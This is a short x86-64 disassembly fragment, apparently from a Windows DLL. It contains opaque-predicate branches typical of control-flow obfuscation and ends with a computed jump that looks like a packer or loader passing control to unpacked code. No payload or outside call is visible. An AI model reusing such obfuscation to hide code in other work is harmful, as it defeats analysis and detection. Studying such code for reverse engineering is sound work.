mov eax, dword [r8 + rax*4]
add r9, rax
sub rsp, 0x20
mov rcx, qword [rbp - 0x20]
mov rdx, r13
call r9
add rsp, 0x20
mov rcx, qword [rbp]
mov qword [rcx], rax
mov eax, dword [0x180020a70]
mov ecx, dword [0x180020a6c]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
cmp ecx, 0xa
jl 0x180002292
test edx, edx
jne 0x1800022d6
add r14, 8
add qword [rbp], 8
cmp ecx, 0xa
jl 0x180002192
test edx, edx
je 0x180002192
jmp 0x1800022d0
add qword [rbp - 0x10], 0x14
cmp ecx, 0xa
jl 0x180002088
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x180002088
jmp 0x180002069
jmp 0x1800022d0
jmp 0x1800022d2
jmp 0x1800022d4
jmp 0x1800022d6
jmp 0x1800022d8
jmp 0x1800022da
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x28]
mov rcx, r12
add rcx, rax
lea rsp, [rbp + 8]
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
jmp rcx